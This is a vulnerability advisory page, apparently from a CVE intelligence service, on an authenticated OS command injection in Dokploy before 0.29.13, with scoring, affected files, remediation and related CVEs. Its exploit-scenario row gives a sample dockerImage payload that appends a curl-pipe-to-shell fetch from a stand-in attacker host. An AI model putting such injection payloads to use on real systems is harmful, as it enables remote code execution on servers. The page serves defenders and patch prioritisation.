Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Dokploy instance with project write credentials
-
DeliveryCall application.update API to set malicious dockerImage payload
-
ExploitCall application.deploy to trigger Remote Docker build pipeline
-
ExecutionbuildRemoteDocker() interpolates payload into shell command string without quoting
-
PersistexecAsync() passes unsanitized string to /bin/sh
-
ImpactInjected OS commands execute as Dokploy server process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) a valid Dokploy account credential with project write access (PR:L per CVSS 4.0 vector - not unauthenticated); (2) API access to call application.update to set a crafted dockerImage value; (3) API access to call application.deploy to trigger the build pipeline and invoke buildRemoteDocker(). The application must be using the Remote Docker deployment type to hit the docker.ts injection sink; analogous injection in docker-file.ts is triggered via Dockerfile builder type using a crafted dockerContextPath, and the nixpacks.ts sink is triggered via the Nixpacks builder type using a crafted publishDirectory. Exploitation is strictly bounded by the authentication requirement - external unauthenticated attackers cannot reach this code path. Successful exploitation yields OS command execution as the Dokploy server process user, which is not necessarily root but has sufficient privilege to access deployment secrets, environment variables, and container runtimes on the host. |
| Impact | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects the technical severity: network-accessible, low complexity, requiring only low-privilege authenticated access, with full impact on vulnerable system confidentiality, integrity, and availability. No EPSS score was included in the intelligence data, so exploitation probability cannot be quantified from that signal. The vulnerability is not in CISA KEV and no public exploit code has been identified, which modestly reduces urgency compared to a confirmed-exploited finding. The primary risk limiter is the PR:L authentication requirement - unauthenticated external exploitation is not possible. In multi-tenant Dokploy deployments where development teams share project access, however, the trusted-insider threat model substantially elevates real-world risk. The systemic nature of the injection across three separate build pipeline files (docker.ts, docker-file.ts, nixpacks.ts) suggests this was a pervasive development pattern, not an isolated oversight, which increases confidence that the full attack surface was present across multiple deployment types and warrants prompt patching regardless of KEV status. |
| Exploit ScenarioDerived | An authenticated Dokploy project member with write access calls the application.update API endpoint, setting the dockerImage field to a payload such as nginx:latest; curl http://attacker.example/implant.sh | sh. The attacker then calls application.deploy, which triggers buildRemoteDocker(). The function builds the shell string 'docker pull nginx:latest; curl http://attacker.example/implant.sh | sh' and passes it to execAsync(), which executes the injected command as the Dokploy server process. No public exploit code has been identified at time of analysis, but the attack requires only knowledge of the Dokploy API and valid project credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
OS command injection in Dokploy prior to version 0.29.13 allows any authenticated user with project write access to execute arbitrary commands as the Dokploy server process. The buildRemoteDocker() function in packages/server/src/utils/providers/docker.ts interpolates the user-controlled dockerImage field directly into a shell command passed to execAsync() without sanitization. The same unsanitized interpolation pattern was present across three separate build pipeline files, indicating a systemic rather than isolated flaw. No public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.
RemediationAI
Upgrade Dokploy to version 0.29.13 or later, which is confirmed by the GitHub release tag at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and the upstream fix commit cba0b253c7de4157dd932de7f16a2ad247c7cee9. The fix applies shell-quote escaping to all user-controlled values across the docker.ts, docker-file.ts, and nixpacks.ts build pipeline files. If immediate upgrade is not feasible, restrict project write access to fully trusted accounts only, removing any shared, externally-provisioned, or contractor accounts from Dokploy project membership, as any such account can serve as an exploitation vector. As a depth-in-defense measure, run the Dokploy server process under a least-privilege OS user account to limit the blast radius of command injection - note this does not eliminate the vulnerability and may still permit reads of sensitive files or lateral movement within the server environment. No workarounds exist that neutralize the injection without applying code changes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokploy is a self-hosted Node.js PaaS that orchestrates Docker-based application deployments. The vulnerable sink is execAsync(), which passes a shell-interpolated command string to /bin/sh. The root cause (CWE-78, OS Command Injection) arises from template literal construction such as 'docker pull ${dockerImage}' where dockerImage is application-supplied data set via the application.update API. The same anti-pattern existed in packages/server/src/utils/builders/docker-file.ts (dockerContextPath field used in cd and echo commands) and packages/server/src/utils/builders/nixpacks.ts (publishDirectory field used in docker cp). The fix in PR #4860 and commit cba0b253c7de4157dd932de7f16a2ad247c7cee9 applies the shell-quote library uniformly across all three files, wrapping every user-controlled value with quote([value]) before interpolation. CPE cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:* covers all Dokploy releases prior to 0.29.13.
Know when Dokploy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable API requires only project-level authentication (PR:L); full RCE as server process within the same security scope (S:U); all three CIA impacts are high.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the buildRemoteDocker() function in packages/server/src/utils/providers/docker.ts interpolates the application-controlled dockerImage value directly into a docker pull shell command. An authenticated user with project access can set a crafted dockerImage through application.update and trigger application.deploy, causing execAsync() to execute arbitrary operating-system commands as the Dokploy server process. This issue is fixed in version 0.29.13.
Executive ViewAI
Dokploy versions prior to 0.29.13 contain a command injection vulnerability allowing authenticated team members with project write access to execute arbitrary commands on the server infrastructure, potentially enabling data exfiltration, service disruption, and lateral movement across deployment environments. This directly threatens the integrity and availability of all deployments managed through affected instances.
No vendor-released patch identified at time of analysis. Implement interim mitigations: restrict project write access via role-based controls to authorized personnel only; enforce strict input validation on dockerImage to reject shell metacharacters and command separators; enable comprehensive audit logging of all command executions and build pipeline modifications; isolate Dokploy servers on restricted network segments with egress filtering; run Dokploy process with minimal required privileges and within containerized environments where operationally feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c
Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete
Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing
Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
EUVD-2026-55730
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB